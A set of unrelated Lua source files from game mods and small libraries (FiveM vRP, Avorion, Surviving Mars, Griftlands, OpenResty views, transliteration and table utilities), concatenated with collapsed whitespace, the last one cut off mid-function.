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local Template = require "oil.dtests.Template" local template = Template{"Client"} -- master process name Client = [=====================================================================[ orb = oil.dtests.init() local ok, ex = orb:step(0) assert(ok == nil) assert(ex.error == "timeout") ok, ex = orb:step(.1) assert(ok == nil) assert(ex.error == "timeout") ok, ex = orb:step(.1) assert(ok == nil) assert(ex.error == "timeout") orb:shutdown() --[Client]=====================================================================] return template:newsuite{}
----------------------------------- -- Area: Qu'Bia Arena -- Mob: Gladiatorial Weapon -- BCNM: Die by the Sword ----------------------------------- require("scripts/globals/status") ----------------------------------- function onMobInitialize(mob) mob:addMod(tpz.mod.UDMGMAGIC, -100) end function onMobDeath(mob, player, isKiller) end
package.path = package.path .. ";data/scripts/lib/?.lua" package.path = package.path .. ";data/scripts/?.lua" local ShipGenerator = include("shipgenerator") ESCCUtil = include("esccutil") LLTEUtil = include("llteutil") MissionUT = include("missionutility") include("stringutility") include("randomext") function create(item, rarity, allyIndex) rarity = Rarity(RarityType.Exceptional) item.stackable = false item.depleteOnUse = true item.name = "Cavaliers Torpedo Loader Beacon"%_t item.price = 1200000 item.icon = "data/textures/icons/missile-pod.png" item.rarity = rarity item:setValue("subtype", "TorpedoLoaderCaller") item:setValue("factionIndex", allyIndex) local tooltip = Tooltip() tooltip.icon = item.icon local title = "Cavaliers Torpedo Loader Beacon"%_t local headLineSize = 25 local headLineFontSize = 15 local line = TooltipLine(headLineSize, headLineFontSize) line.ctext = title line.ccolor = item.rarity.color tooltip:addLine(line) -- empty line tooltip:addLine(TooltipLine(14, 14)) local line = TooltipLine(20, 14) line.ltext = "Ally"%_t line.rtext = "${faction:"..allyIndex.."}" line.icon = "data/textures/icons/flying-flag.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) tooltip:addLine(TooltipLine(14, 14)) local line = TooltipLine(20, 14) line.ltext = "Merchant Type"%_t line.rtext = "Torpedo Loader"%_t line.icon = "data/textures/icons/ship.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) tooltip:addLine(TooltipLine(14, 14)) local line = TooltipLine(20, 14) line.ltext = "Upgrades"%_t line.rtext = "No"%_t line.rcolor = ColorRGB(1, 0.3, 0.3) line.icon = "data/textures/icons/circuitry.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) local line = TooltipLine(20, 14) line.ltext = "Turrets"%_t line.rtext = "No"%_t line.rcolor = ColorRGB(1, 0.3, 0.3) line.icon = "data/textures/icons/turret.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) local line = TooltipLine(20, 14) line.ltext = "Utilities"%_t line.rtext = "No"%_t line.rcolor = ColorRGB(1, 0.3, 0.3) line.icon = "data/textures/icons/satellite.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) local line = TooltipLine(20, 14) line.ltext = "Torpedoes"%_t line.rtext = "Yes"%_t line.rcolor = ColorRGB(0.3, 1, 0.3) line.icon = "data/textures/icons/missile-pod.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) local line = TooltipLine(20, 14) line.ltext = "Rare Artifacts"%_t line.rtext = "No"%_t line.rcolor = ColorRGB(1, 0.3, 0.3) line.icon = "data/textures/icons/circuitry.png" line.iconColor = ColorRGB(0.8, 0.8, 0.8) tooltip:addLine(line) -- empty line tooltip:addLine(TooltipLine(14, 14)) local line = TooltipLine(20, 15) line.ltext = "Depleted on Use"%_t line.lcolor = ColorRGB(1.0, 1.0, 0.3) tooltip:addLine(line) -- empty line tooltip:addLine(TooltipLine(14, 14)) local line = TooltipLine(20, 14) line.ltext = "Can be activated by the player"%_t tooltip:addLine(line) local line = TooltipLine(20, 14) line.ltext = "Calls in a Cavaliers Torpedo Loader."%_t tooltip:addLine(line) item:setTooltip(tooltip) return item end function activate(item) local _Player = Player() local allyIndex = item:getValue("factionIndex") if not allyIndex then _Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T) return false end local allyIndex = item:getValue("factionIndex") if not allyIndex then _Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T) return false end local faction = Faction(allyIndex) if not faction then _Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T) return false end if faction.index ~= allyIndex then _Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T) return false end local sender = "The Cavaliers" local _Sector = Sector() local _X, _Y = _Sector:getCoordinates() local _Rank = _Player:getValue("_llte_cavaliers_ranklevel") local _PlayerInBarrier = MissionUT.checkSectorInsideBarrier(_X, _Y) local _CavsInBarrier = _Player:getValue("_llte_cavaliers_inbarrier") local playerFaction = _Player.craftFaction if _Rank < 2 then _Player:sendChatMessage(sender, ChatMessageType.Normal, "We only send out combat support to those who have proven themselves to us."%_T) return false end if _PlayerInBarrier and not _CavsInBarrier then _Player:sendChatMessage(sender, ChatMessageType.Normal, "We can't send a Torpedo Loader to you!"%_T) return false end if Sector():getEntitiesByScriptValue("_llte_cavaliers_torpedo_loader") then _Player:sendChatMessage(sender, ChatMessageType.Normal, "There is already a torpedo loader in this sector."%_T) return false end local craft = _Player.craft if not craft then _Player:sendChatMessage(sender, ChatMessageType.Error, "You must be in a ship to use this."%_T) return false end -- create the merchant local pos = random():getDirection() * 1500 local matrix = MatrixLookUpPosition(normalize(-pos), vec3(0, 1, 0), pos) local ship = ShipGenerator.createTradingShip(faction, matrix) ship:invokeFunction("icon.lua", "set", "data/textures/icons/pixel/torpedoboat.png") ship.title = "Cavaliers Torpedo Loader" ship:addScriptOnce("data/scripts/entity/merchants/cavalierstorpedoloader.lua") ship:addScript("data/scripts/entity/merchants/travellingmerchant.lua") ship:addScriptOnce("deleteonplayersleft.lua") ship:addScript("ai/withdrawatlowhealth.lua", 0.1, 1, 1, 0.02) ship:setValue("_llte_cavaliers_torpedo_loader", true) ship.name = LLTEUtil.getFreighterName() Sector():broadcastChatMessage(ship, 0, "You need torpedoes, Cavalier? We've got them.", ship.title, ship.name) return true end
vRPCoreC = Tunnel.getInterface("bscore", "bscore") vRPJobsS = Proxy.getInterface("jobs") vRPCoreS = {} Tunnel.bindInterface("bscore", vRPCoreS) Proxy.addInterface("bscore", vRPCoreS) local Core = class("bscore", vRP.Extension) Core.User = class("User") Core.tunnel = {} Core.event = {} function Core:__construct() vRP.Extension.__construct(self) Citizen.CreateThread(function() while true do Citizen.Wait(2500) for k, v in pairs(vRP.users_by_source) do TriggerClientEvent("vrp:playerUpdate", k, v, Core:loadData(user)) end end end) end function Core.event:playerSpawn(user, first_spawn) TriggerEvent("vrp:playerSpawn", user, first_spawn) end function Core.event:characterLoad(user) Citizen.CreateThread(function() while true do Citizen.Wait(1000) if user:isReady() and vRP.users_by_source[user.source] then print(user.name .. " ("..user.source..")" .. " has loaded!", user.spawns) local data = Core:loadData(user) TriggerEvent("vrp:playerReady", user, data) TriggerClientEvent("vrp:playerReady", user.source, user, data) return end end end) end function Core.event:characterUnload(user) TriggerEvent("vrp:playerUnloaded", user) TriggerClientEvent("vrp:playerUnloaded", user.source, user) end function Core.event:playerLeave(user) TriggerEvent("vrp:playerLeave", user) TriggerClientEvent("vrp:playerLeave", user.source, user) end function Core.event:playerDeath(user) TriggerEvent("vrp:playerDeath", user) TriggerClientEvent("vrp:playerDeath", user.source, user) end function Core.event:playerMoneyUpdate(user) TriggerClientEvent("vrp:core:moneyUpdated", user, user:getWallet(), user:getBank()) end function Core:loadData(user) local data = { wallet = user:getWallet(), bank = user:getBank(), job = vRPJobsS.getCurrentJobByUser(user) } return data end function getUserByIdentifier(identifier) for source, user in pair(users_by_source) do if vRP.getSourceIdKey(source) == identifier then return user end return nil end end vRP:registerExtension(Core) --- returns user function vRPCoreS.getUserBySource(source) return vRP.users_by_source[source] end function vRPCoreS.hasLoaded() return (vRP.users_by_source[source]) and true or false end function vRPCoreS.getVehicles() local user = vRP.users_by_source[source] return user:getVehicles(); end function vRPCoreS.getVehicles(amount, dry) local user = vRP.users_by_source[source] return user:tryFullPayment(amount, dry); end RegisterNetEvent('vrp_getPlayers') AddEventHandler('vrp_getPlayers', function(callback) callback(vRP.users) end) exports('CoreGetUserBySource', function(source) return vRP.users_by_source[source] end) exports('getUsers', function(source) return vRP.users end) exports('CoreNotifyClient', function(source, msg) vRP.EXT.Base.remote._notify(source, msg) end) exports('CoreSendServiceAlert', function(sender, number, x, y, z, msg) vRP.EXT.Phone:sendServiceAlert(sender,number,x,y,z,msg) end) exports('getPlayerID', function(source) return vRP.users_by_source[source].id end) exports('getCharacterID', function(source) local retries = 0 while not vRP.users_by_source[source] or retries > 15 do retries = retries + 1 Citizen.Wait(1500) end return vRP.users_by_source[source].cid end) exports('getUserByIdentifier', function(identifier) return getUserByIdentifier(identifier) end) exports('tryPayment', function(source, amount, dry) local user = vRP.users_by_source[source] return user:tryPayment(amount, dry) end) exports('giveWallet', function(source, amount) local user = vRP.users_by_source[source] user:giveWallet(amount) end) exports('getWallet', function(source) local user = vRP.users_by_source[source] user:getWallet(amount) end) exports('getClosestOwnedVehicle', function(radius) return vRPCoreC.getNearestOwnedVehicle(radius) end) exports('getFullName', function(source) local user = vRP.users_by_source[source] return "" .. user.identity.firstname .. " " .. user.identity.name end) RegisterNetEvent('vrp_spawnVehicle') AddEventHandler('vrp_spawnVehicle', function(model, position) local user = vRP.users_by_source[source] local vehicles = user:getVehicles() if vehicles[model] == 1 then -- in local vstate = user:getVehicleState(model) local state = { customization = vstate.customization, condition = vstate.condition, locked = vstate.locked } vehicles[model] = 0 -- mark as out vRP.EXT.Garage.remote._spawnVehicle(user.source, model, state, position) vRP.EXT.Garage.remote._setOutVehicles(user.source, {[model] = {}}) elseif vehicles[model] == 0 then -- out vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.owned.already_out()) -- force out request if user:request(vRP.lang.garage.owned.force_out.request({vRP.EXT.Garage.cfg.force_out_fee}), 15) then if user:tryPayment(vRP.EXT.Garage.cfg.force_out_fee) then local vstate = user:getVehicleState(model) local state = { customization = vstate.customization, condition = vstate.condition, locked = vstate.locked } vehicles[model] = 0 -- mark as out vRP.EXT.Garage.remote._spawnVehicle(user.source, model, state) vRP.EXT.Garage.remote._setOutVehicles(user.source, {[model] = {state, vstate.position, vstate.rotation}}) else vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.not_enough()) end end end end) RegisterNetEvent('vrp_despawnVehicle') AddEventHandler('vrp_despawnVehicle', function(model) local user = vRP.users_by_source[source] local vehicles = user:getVehicles() if model then vRP.EXT.Garage.remote._removeOutVehicles(user.source, {[model] = true}) if vRP.EXT.Garage.remote.despawnVehicle(user.source, model) then if vehicles[model] then vehicles[model] = 1 -- mark as in garage end vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.store.stored()) end else vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.store.too_far()) end end) RegisterNetEvent('vrp_buyVehicle') AddEventHandler('vrp_buyVehicle', function(model, amount) local user = vRP.users_by_source[source] local uvehicles = user:getVehicles() if uvehicles[model] then vRP.EXT.Base.remote._notify(user.source, "~r~You already own this vehicle") return end -- buy vehicle if user:tryPayment(amount, false) then uvehicles[model] = 1 vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.paid({amount})) else vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.not_enough()) end end) RegisterNetEvent('vrp_sellVehicle') AddEventHandler('vrp_sellVehicle', function(model, amount, sellFactor) local user = vRP.users_by_source[source] local uvehicles = user:getVehicles() if not sellFactor then sellFactor = vRP.EXT.Garage.cfg.sell_factor end local price = math.ceil(amount*sellFactor) if uvehicles[model] == 1 and not user.cdata.rent_vehicles[model] then -- has vehicle in, not rented user:giveWallet(price) uvehicles[model] = nil vRP.EXT.Base.remote._notify(user.source,vRP.lang.money.received({price})) user:actualizeMenu() else vRP.EXT.Base.remote._notify(user.source,vRP.lang.common.not_found()) end end) RegisterNetEvent('vrp_rentVehicle') AddEventHandler('vrp_rentVehicle', function(model, amount, rentFactor) local user = menu.user local uvehicles = user:getVehicles() if not rentFactor then rentFactor = vRP.EXT.Garage.cfg.cfg.rent_factor end local price = math.ceil(amount*rentFactor) -- rent vehicle if user:tryPayment(price, false) then uvehicles[model] = 1 user.cdata.rent_vehicles[model] = true vRP.EXT.Base.remote._notify(user.source,lang.money.paid({price})) user:actualizeMenu() else vRP.EXT.Base.remote._notify(user.source,lang.money.not_enough()) end end)
local error = require('app.utils').error local render_to_string = require('app.views.helpers').render_to_string local ngx_print = ngx.print local ngx_header = ngx.header local ngx_req = ngx.req local ngx_HTTP_NOT_ALLOWED = ngx.HTTP_NOT_ALLOWED local template_handler_meta = { __call = function(self) ngx_header['content-type'] = self.content_type if self.content then ngx_print(self.content) return end local content = render_to_string(self.template, self.context) if self.cache then self.content = content end ngx_print(content) end } local template_handler = function(params) -- params table: -- [1] = template path -- [2] = context (optional) -- content_type = <not set> -- cache = true local cache = params.cache if cache == nil then cache = true end local content_type = params.content_type if not content_type then content_type = 'text/html' end return setmetatable({ template = params[1], context = params[2], content_type = content_type, cache = cache, }, template_handler_meta) end local view_meta = { __call = function(self, ...) local args if self.initial then args = {self.initial(...)} else args = {...} end local method = ngx_req.get_method() local handler = self[method] if not handler then return error(ngx_HTTP_NOT_ALLOWED) else handler(unpack(args)) if not ngx_header['content-type'] then ngx_header['content-type'] = 'text/html' end end end } local view = function(handlers) if type(handlers) == 'string' then handlers = require(handlers) end local view_table = {} for method, handler in pairs(handlers) do local handler_type = type(handler) if method == 'initial' then assert(handler_type == 'function') view_table.initial = handler else if handler_type == 'table' then handler = template_handler(handler) elseif handler_type == 'string' then handler = template_handler({handler}) end view_table[method] = handler end end return setmetatable(view_table, view_meta) end return { main = view('app.views.main'), get_file = view('app.views.get-file'), webhook = view('app.views.webhook'), upload = view('app.views.upload'), docs_api = view('app.views.docs-api'), error = require('app.views.error').error_handler, }
local Class = require 'class'; return Class { constructor = function(self, precache) self.Cache = precache or {}; self.__mt.__tostring = function() return p(self.Cache) end; end, push = function(self, key, value) self.Cache[key]:push(value) end; toArray = function(self) assert(self, 'use : operator instead of . with class objects'); return self.Cache; end, size = function(self) assert(self, 'use : operator instead of . with class objects'); local count = 0; for _, cmdObj in pairs(self:toArray()) do count = count + 1; end return count; end, find = function(self, predicate) assert(predicate); return table.some(self.Cache, predicate) or nil; end, get = function(self, key) return self.Cache[key] or nil; end, set = function(self, key, val) if not key then return end; self.Cache[key] = val; end, delete = function(self, key) if not key then return end; self:set(key, nil) end, deleteall = function(self) assert(self, 'use : operator instead of . with class objects'); self.Cache = {}; end }
--module("base64", package.seeall) function tcp_ip_get_src_port(data) return data:byte(35) * 256 + data:byte(36) end function tcp_ip_get_dst_port(data) return data:byte(37) * 256 + data:byte(38) end
local battle_defs = require "battle/battle_defs" local CARD_FLAGS = battle_defs.CARD_FLAGS local BATTLE_EVENT = battle_defs.BATTLE_EVENT -------------------------------------------------------------------- local BATTLE_GRAFTS = { prickle = { name = "Prickle", desc = "If you end your turn with no {DEFEND} gain 4 {RIPOSTE}.", rarity = CARD_RARITY.COMMON, icon_override = "razorglass", card_defs = battle_defs, riposte_amt = 4, battle_condition = { hidden = true, event_handlers = { [ BATTLE_EVENT.END_PLAYER_TURN ] = function( self, battle ) if not self.owner:HasCondition("DEFEND") then self.owner:AddCondition( "RIPOSTE", self.graft:GetDef().riposte_amt or 4) end end }, }, }, prickle_plus = { name = "Boosted Prickle", desc = "If you end your turn with no {DEFEND} gain 6 {RIPOSTE}.", icon_override = "razorglass_plus", riposte_amt = 6, }, cogitator = { name = "Cogitator", desc = "After you play 6 cards in a single turn gain 1 {EVASION}.", rarity = CARD_RARITY.UNCOMMON, icon_override = "reflector", card_defs = battle_defs, counter = 0, battle_condition = { hidden = true, event_handlers = { [ BATTLE_EVENT.POST_RESOLVE ] = function (self, battle, attack) if attack.owner == self.owner then self.graft:GetDef().counter = self.graft:GetDef().counter + 1 if self.graft:GetDef().counter == 6 then self.owner:AddCondition( "EVASION", 1) if self.graft:GetDef().repeating == true then self.graft:GetDef().counter = 0 end end end end, [ BATTLE_EVENT.END_PLAYER_TURN ] = function( self, battle ) self.graft:GetDef().counter = 0 end }, }, }, cogitator_plus = { name = "Boosted Cogitator", desc = "For every 6 cards you play in a single turn gain 1 {EVASION}.", icon_override = "reflector_plus", repeating = true, }, } --------------------------------------------------------------------------------------------- for i, id, graft in sorted_pairs( BATTLE_GRAFTS ) do graft.card_defs = battle_defs graft.series = "SAL" graft.type = GRAFT_TYPE.COMBAT if graft.battle_condition and graft.battle_condition.hidden == nil then graft.battle_condition.hidden = true end Content.AddGraft( id, graft ) end
local dir = require "memfs.dir" local d = dir(true) d:mkdir("a"):mkdir("aa") --:all(print) assert(d/"a"/"aa") local d2 = dir(true) assert(not pcall(function() d:hardlink("d2", d2) end)) assert(d/"a"/"aa" == d:getnode{"a", "aa"}) print("OK")
--[[ FPS Meter v1.0 - 2020/10/15 by: standardcombo This module calculates players' frame rates and can display their FPS on screen. While it's possible to see frame rate through other means and Core provides good optimization tools, you may want your game to either: 1. Show the FPS (frames per second) to the players. 2. Cut visual quality for some players if their FPS is low. Usage ===== 1. Drop a copy of the "FPSMeter" template into the hierarchy. Players should now see their FPS in the upper-right corner. 2. To stop displaying the FPS, delete the "UI Text Box" object or set its visibility to "Off". 3. Make client-side performance decisions, such as disabling post- process filters, by reading a player's FPS from the global table: ``` function Tick() if _G.FPS then someEffectObject.isEnabled = (_G.FPS > 50) end Task.Wait(0.4) end ``` 4. Make server-side decisions for a player based on their FPS: ``` Events.ConnectForPlayer("FrameRate", function(player, fps) print(player.name .. "'s FPS = " .. tostring(fps)) -- TODO: Make decisions for player end) function OnPlayerJoined(player) Task.Wait(1) if _G["Utils.FPSMeter"] then _G["Utils.FPSMeter"].GetFrameRateForPlayer(player) end end Game.playerJoinedEvent:Connect(OnPlayerJoined) ``` --]]
local export = {} local gsub = mw.ustring.gsub local tt = { -- consonants ['ᦀ'] = '˙ʼ', ['ᦁ'] = 'ʼ', ['ᦂ'] = 'k\204\135', ['ᦃ'] = 'x\204\135', ['ᦄ'] = 'n\204\135g', ['ᦅ'] = 'k', ['ᦆ'] = 'x', ['ᦇ'] = 'ng', ['ᦈ'] = 't\204\135s', ['ᦉ'] = 's\204\135', ['ᦊ'] = 'y\204\135', ['ᦋ'] = 'ts', ['ᦌ'] = 's', ['ᦍ'] = 'y', ['ᦎ'] = 't\204\135', ['ᦏ'] = 't\204\135h', ['ᦐ'] = 'n\204\135', ['ᦑ'] = 't', ['ᦒ'] = 'th', ['ᦓ'] = 'n', ['ᦔ'] = 'p\204\135', ['ᦕ'] = 'p\204\135h', ['ᦖ'] = 'm\204\135', ['ᦗ'] = 'p', ['ᦘ'] = 'ph', ['ᦙ'] = 'm', ['ᦚ'] = 'f\204\135', ['ᦛ'] = 'v\204\135', ['ᦜ'] = 'l\204\135', ['ᦝ'] = 'f', ['ᦞ'] = 'v', ['ᦟ'] = 'l', ['ᦠ'] = 'h\204\135', ['ᦡ'] = 'd\204\135', ['ᦢ'] = 'b\204\135', ['ᦣ'] = 'h', ['ᦤ'] = 'd', ['ᦥ'] = 'b', ['ᦦ'] = 'k\204\135w', ['ᦧ'] = 'x\204\135w', ['ᦨ'] = 'kw', ['ᦩ'] = 'xw', ['ᦪ'] = 's\204\135w', ['ᦫ'] = 'sw', -- vowels and finals (visual ordering by Unicode 8) ['ᦰ'] = '!', ['ᦱ'] = 'aa', ['ᦲ'] = 'ii', ['ᦳ'] = 'u', ['ᦴ'] = 'uu', ['ᦸ'] = 'oa', ['ᦹ'] = 'ue', ['ᦵ'] = 'e', ['ᦶ'] = 'ae', ['ᦷ'] = 'o', ['ᦺ'] = 'ay', -- this line to be swapped ['ᦻ'] = 'aay', ['ᦼ'] = 'uy', ['ᦽ'] = 'oy', ['ᦾ'] = 'oay', ['ᦿ'] = 'uey', ['ᧀ'] = 'iiy', ['ᧁ'] = 'w', ['ᧂ'] = 'ng', ['ᧃ'] = 'n', ['ᧄ'] = 'm', ['ᧅ'] = 'k', ['ᧆ'] = 'd', ['ᧇ'] = 'b', -- tones ['ᧈ'] = '<sup>1</sup>', ['ᧉ'] = '<sup>2</sup>', -- numerals ['᧐'] = '0', ['᧑'] = '1', ['᧒'] = '2', ['᧓'] = '3', ['᧔'] = '4', ['᧕'] = '5', ['᧖'] = '6', ['᧗'] = '7', ['᧘'] = '8', ['᧙'] = '9', ['᧚'] = '1', -- ligatures ᧞ ᧟ sorted after ᦶᦜ ['᧞'] = 'l\204\135ae', ['᧟'] = 'l\204\135aew', } function export.tr(text, lang, sc, debug_mode) if type(text) == 'table' then -- called directly from a template text = text.args[1] end text = gsub(text, '([ᦵᦶᦷᦺ])([ᦀ-ᦫ])', '%2%1') -- swapped text = gsub(text, '([ᦀ-ᦫ])([ᧁ-ᧇ])', '%1a%2') text = gsub(text, '.', tt) text = gsub(text, 'aa!', 'a') text = gsub(text, 'ii!', 'i') text = gsub(text, 'uu!', 'u') text = gsub(text, 'eii', 'oe') return text end return export
local http = require "lib/http-code" local copas = require "copas" local modules = require("lib/loader-module") local ServiceCommand = {} ServiceCommand.__index = ServiceCommand ServiceCommand.__deps = { event_bus = "event-bus", -- mqtt = "mqtt-provider" } function ServiceCommand:LogTag() return "ServiceCommand" end function ServiceCommand:ListCommands() local r = { } for _,v in pairs(self.commands) do local cmd = {} table.insert(r, cmd) cmd.name = v.name cmd.args = v.args end return http.OK, r end function ServiceCommand:ExecuteCommand(request, command) local cmd = self.commands[command] if not cmd then error("ServiceCommand: Command " .. tostring(command) .. " is not registered") return http.NotFound, {} end local code = http.OK local r = nil local success, response = cmd.handler(self:ParseCommands(request, cmd)) if not success then if type(response) == "number" then code = response else code = http.BadRequest end else r = response or {} end return code, r end function ServiceCommand:ParseCommands(request, cmd) end function ServiceCommand:RegisterCommand(module_id, command_name, args_desc, handler) if self.commands[command_name] then error("ServiceCommand: Command " .. command_name .. " is already registered") return end self.commands[command_name] = { name = command_name, module_id = module_id, args = args_desc, handler = handler, } print("ServiceCommand: Registerd command " .. command_name) end function ServiceCommand:UnregisterCommands(module_id) self.commands = table.filter(self.commands, function(_, c) return c.module_id ~= module_id end) print("ServiceCommand: Unregistered commands for module " .. module_id) end function ServiceCommand:BeforeReload() self:UnregisterCommands("ServiceCommand") end function ServiceCommand:AfterReload() self.commands = self.commands or {} self:RegisterCommand("ServiceCommand", "exit", nil, function(...) return self:ExitCommand(...) end) self:RegisterCommand("ServiceCommand", "reload_modules", nil, function(...) return self:ReloadModules(...) end) end function ServiceCommand:Init() self.commands = {} end function ServiceCommand:ReloadModules() modules.Reload() return true end function ServiceCommand:ExitCommand() copas.addthread(function() self.event_bus:PushEvent({ event = "exit.pending", client = self, }) print(self:LogTag() .. string.format(" Exiting in 10 seconds")) copas.sleep(10) print(self:LogTag() .. string.format(" Exiting")) self.event_bus:PushEvent({ event = "exit.trigger", client = self, }) os.exit(0) end) return true end return ServiceCommand
-- See LICENSE for terms local table_find = table.find local table_remove = table.remove local table_rand = table.rand local GameTime = GameTime local Max = Max local Sleep = Sleep local AsyncRand = AsyncRand local orig_WaitInOrbit = SupplyRocket.WaitInOrbit function SupplyRocket:WaitInOrbit(arrive_time, ...) -- check for pass and abort if not local pass_table if self.cargo then pass_table = table_find(self.cargo, "class", "Passengers") end if not pass_table then return orig_WaitInOrbit(self, arrive_time, ...) end -- SupplyRocket:WaitInOrbit() self:OffPlanet() self.orbit_arrive_time = arrive_time -- no need to check --~ self.cargo = self.cargo or {} local cargo = self.cargo -- skip the below, since we know it's a pass rocket self.orbit_arrive_time = self.orbit_arrive_time or GameTime() --~ -- release probes immediately, mark orbit arrival time if carrying passengers --~ for i = #cargo, 1, -1 do --~ local item = cargo[i] --~ if IsKindOf(g_Classes[item.class], "OrbitalProbe") then --~ for j = 1, item.amount do --~ PlaceObject(item.class, {city = self.city}) --~ end --~ table.remove(cargo, i) --~ elseif item.class == "Passengers" then --~ self.orbit_arrive_time = self.orbit_arrive_time or GameTime() --~ end --~ end local landing_disabled = self.landing_disabled self:UpdateStatus(self:IsFlightPermitted() and (landing_disabled and "landing disabled" or "in orbit") or "suspended in orbit") if not self:IsLandAutomated() or not self:IsFlightPermitted() or landing_disabled then --~ if self.orbit_arrive_time then -- wait the usual orbit time Sleep(Max(0, self.passenger_orbit_life + GameTime() - self.orbit_arrive_time)) --~ -- testing --~ Sleep(const.HourDuration) -- instead of killing them all off, we remove the food and kill off one per sol table_remove(cargo, table_find(cargo, "class", "Food")) -- feeding schedule local hour = const.HourDuration local max = hour * 6 local min = hour * 2 local min1 = min + 1 pass_table = cargo[pass_table] while pass_table.amount > 0 do -- between 2 and 6 hours per feed Sleep(Max(0, (AsyncRand(max - min1) + min) + GameTime() - self.orbit_arrive_time)) -- who's it gonn' be? local _, idx = table_rand(pass_table.applicants_data) -- just in case if not idx then break end table_remove(pass_table.applicants_data, idx) pass_table.amount = pass_table.amount - 1 self.ChoGGi_cann_a_snack = true end -- if we land before they're all dead the below won't fire -- kill the passengers, call GameOver if there are no colonists on Mars local count for i = #cargo, 1, -1 do if cargo[i].class == "Passengers" then count = cargo[i].amount table_remove(cargo, i) end end if (count or 0) > 0 then if #(self.city.labels.Colonist or empty_table) == 0 then GameOver("last_colonist_died") else -- notification AddOnScreenNotification("DeadColonistsInSpace", nil, {count = count}) end -- call if all die self:OnPassengersLost() end self.orbit_arrive_time = nil self:UpdateStatus(self.status) -- force update to get rid of the passenger-specific texts in rollover/summary --~ end WaitWakeup() end self:SetCommand("LandOnMars", self.landing_site) end local orig_LandOnMars = SupplyRocket.LandOnMars function SupplyRocket:LandOnMars(...) -- longpig lu'au? if self.ChoGGi_cann_a_snack then local cargo = self.cargo local pass_table if cargo then pass_table = table_find(cargo, "class", "Passengers") end -- just in case if not pass_table then return orig_LandOnMars(self, ...) end pass_table = cargo[pass_table] -- mark the leftovers for i = 1, #pass_table.applicants_data do pass_table.applicants_data[i].traits.ChoGGi_cannibal = true end end return orig_LandOnMars(self, ...) end function OnMsg.ClassesPostprocess() if TraitPresets.ChoGGi_cannibal then return end PlaceObj("TraitPreset", { daily_update_func = function (colonist, trait) colonist:ChangeSanity(-trait.param*const.Scale.Stat, trait.id) end, description = T(101452796812,"<DisplayName> loses Sanity") .. T(302535920011355, " from having eaten uncooked flesh (BBQ party next time)."), display_name = T(302535920011000, "Cannibal"), group = "Negative", id = "ChoGGi_cannibal", incompatible = {}, param = 4, }) end
local pattern_escape_replacements = { ["("] = "%(", [")"] = "%)", ["."] = "%.", ["%"] = "%%", ["+"] = "%+", ["-"] = "%-", ["*"] = "%*", ["?"] = "%?", ["["] = "%[", ["]"] = "%]", ["^"] = "%^", ["$"] = "%$", ["\0"] = "%z" } function string.PatternSafe( str ) return ( str:gsub( ".", pattern_escape_replacements ) ) end function string.ToTable ( str ) local tbl = {} for i = 1, string.len( str ) do tbl[i] = string.sub( str, i, i ) end return tbl end local totable = string.ToTable local string_sub = string.sub local string_gsub = string.gsub local string_gmatch = string.gmatch function string.Explode(separator, str, withpattern) if (separator == "") then return totable( str ) end local ret = {} local index, lastPosition = 1, 1 -- Escape all magic characters in separator if not withpattern then separator = separator:PatternSafe() end -- Find the parts for startPosition, endPosition in string_gmatch( str, "()" .. separator.."()" ) do ret[index] = string_sub( str, lastPosition, startPosition - 1 ) index = index + 1 -- Keep track of the position lastPosition = endPosition end -- Add last part by using the position we stored ret[index] = string_sub( str, lastPosition) return ret end function table.Random(tbl) local count = 0 for _,_ in pairs(tbl) do count = count + 1 end local i = 1 local rk = math.random(1, count) for k,v in pairs(tbl) do if i == rk then return v, k end i = i + 1 end end function table.Count(t) local size = 0 for k in pairs(t) do size = size + 1 end return size end function table.Copy( t, lookup_table ) if ( t == nil ) then return nil end local copy = {} setmetatable( copy, getmetatable( t ) or {} ) for i, v in pairs( t ) do if ( type(v) ~= "table" ) then copy[ i ] = v else lookup_table = lookup_table or {} lookup_table[ t ] = copy if ( lookup_table[ v ] ) then copy[ i ] = lookup_table[ v ] -- we already copied this table. reuse the copy. else copy[ i ] = table.Copy( v, lookup_table ) -- not yet copied. copy it. end end end return copy end function table.Empty( tab ) for k, v in pairs( tab ) do tab[ k ] = nil end end function table.Merge( dest, source ) for k, v in pairs( source ) do if ( type( v ) == "table" and type( dest[ k ] ) == "table" ) then -- don't overwrite one table with another -- instead merge them recurisvely table.Merge( dest[ k ], v ) else dest[ k ] = v end end return dest end function table.Add( dest, source ) -- At least one of them needs to be a table or this whole thing will fall on its ass if ( type( source ) ~= "table" ) then return dest end if ( type( dest ) ~= "table" ) then dest = {} end for k, v in pairs( source ) do table.insert( dest, v ) end return dest end function table.ClearKeys( Table, bSaveKey ) local OutTable = {} for k, v in pairs( Table ) do if ( bSaveKey ) then v.__key = k end table.insert( OutTable, v ) end return OutTable end function table.GetKeys( tab ) local keys = {} local id = 1 for k, v in pairs( tab ) do keys[ id ] = k id = id + 1 end return keys end function table.Reverse( tbl ) local len = #tbl local ret = {} for i = len, 1, -1 do ret[ len - i + 1 ] = tbl[ i ] end return ret end function table.IsSequential( t ) local i = 1 for key, value in pairs( t ) do if ( not tonumber( i ) or key ~= i ) then return false end i = i + 1 end return true end local function MakeTable( t, nice, indent, done ) local str = "" local done = done or {} local indent = indent or 0 local idt = "" if nice then idt = string.rep( "\t", indent ) end local nl, tab = "", "" if ( nice ) then nl, tab = "\n", "\t" end local sequential = table.IsSequential( t ) for key, value in pairs( t ) do str = str .. idt .. tab .. tab if not sequential then if type( key ) == "number" or type( key ) == "boolean" then key = "[" .. tostring( key ) .. "]" .. tab .. "=" else key = tostring( key ) .. tab .. "=" end else key = "" end if ( type( value ) == "table" and not done[ value ] ) then done [ value ] = true str = str .. key .. 